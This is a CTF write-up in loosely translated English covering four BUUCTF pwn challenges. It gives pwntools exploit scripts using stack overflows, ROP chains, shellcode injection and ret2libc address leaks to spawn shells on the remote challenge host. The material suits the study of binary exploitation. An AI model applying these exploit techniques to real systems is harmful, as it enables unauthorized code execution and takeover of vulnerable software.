buuctf pwn (17~20)
not_the_same_3dsctf_2016
32-bit elf file, throw it into ida to see the logic.
There is a gets function, and there is a stack overflow vulnerability.
Find this function
and then checksec it
Then this directly controls the program to go to this function, but this function does not print the flag, so the write function is used.
The address of the flag is also known.
Follow up and you will know.
The I/0 of this question will put the data in the buffer again,
so the exit function is used.
Small tips :
By looking at the functions of this program, I found that this question is statically compiled,
so it may be esp addressing, so pay attention
from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
p=remote("node4.buuoj.cn",29638)
sys=0x80489A0
exit=0x804E660
flag=0x80ECA2D
write=0x806E270
pay=b'a'*0x2d+p32(sys)+p32(write)+p32(exit)+p32(1)+p32(flag)+p32(45) #不覆盖ebp是因为,这个程序是esp寻址
p.sendline(pay)
p.interactive()
ciscn_2019_n_5
64-bit elf file, throw it into ida to see if
there is a stack overflow in the logical gets function, and there is no system function,
look at the protection
Then this retlibc or shellcode can solve
the shellcode script as follows:
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",29873)
shellcode=asm(shellcraft.sh(),arch='amd64',os='linux')
p.recvuntil("tell me your name")
p.sendline(shellcode)
p.recvuntil("What do you want to say to me?")
payload=b'a'*(0x20+8)+p64(0x601080)
p.sendline(payload)
p.interactive()
The retlibc script is as follows:
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",29873)
elf=ELF("./pwn18")
puts_plt=elf.plt['puts']
read_got=elf.got['read']
main=0x400636
pop=0x0000000000400713 #pop rdi ret
ret=0x00000000004004c9
p.recvuntil("tell me your name")
p.sendline(b'a')
p.recvuntil("What do you want to say to me?\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(read_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
read_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)#进行搜寻
libc_base = read_addr - libc.dump('read')#开始计算地址
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base
p.recvuntil("tell me your name")
p.sendline(b'a')
p.recvuntil("What do you want to say to me?\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(bin_sh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()
Can get through
others_shellcode
The 32-bit elf file
looked at the program logic
It means that as long as nc is executed, the shellcode will be executed directly, and then getshell will be executed
.
ciscn_2019_ne_5
32-bit elf file, throw it into ida to see the logic.
It means
to enter one first: administrator to enter the following logic.
After reading the logic of each function one by one, it is found that there is a stack overflow in the getflag function.
When copying, strcpy has no limit on length, so we only need to The input src is long enough, and the stack overflow can be completed.
The function exists in the system function, and then check whether there is a /bin/sh string.
There is no such string
, but it is found.
There is sh in this, so follow up and press u to expand
the address: 0x80482EA,
then directly construct the rop
script as follows:
from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
p=remote("node4.buuoj.cn",27667)
sys=0x80486B9 #call system
sh=0x080482EA
p.recvuntil("Please input admin password:")
p.sendline(str("administrator"))
p.recvuntil("0.Exit\n:")
p.sendline(b'1')
p.recvuntil("Please input new log info:")
payload=b'a'*(0x48+4)+p32(sys)+p32(sh)
p.sendline(payload)
p.recvuntil("0.Exit\n:")
p.sendline(b'4')
p.interactive()
Tips: If sys corresponds to the plt table address of the system function, then the payload should be
p32(sys)+p32(main)+p32(sh).
The reason for the difference between the two is here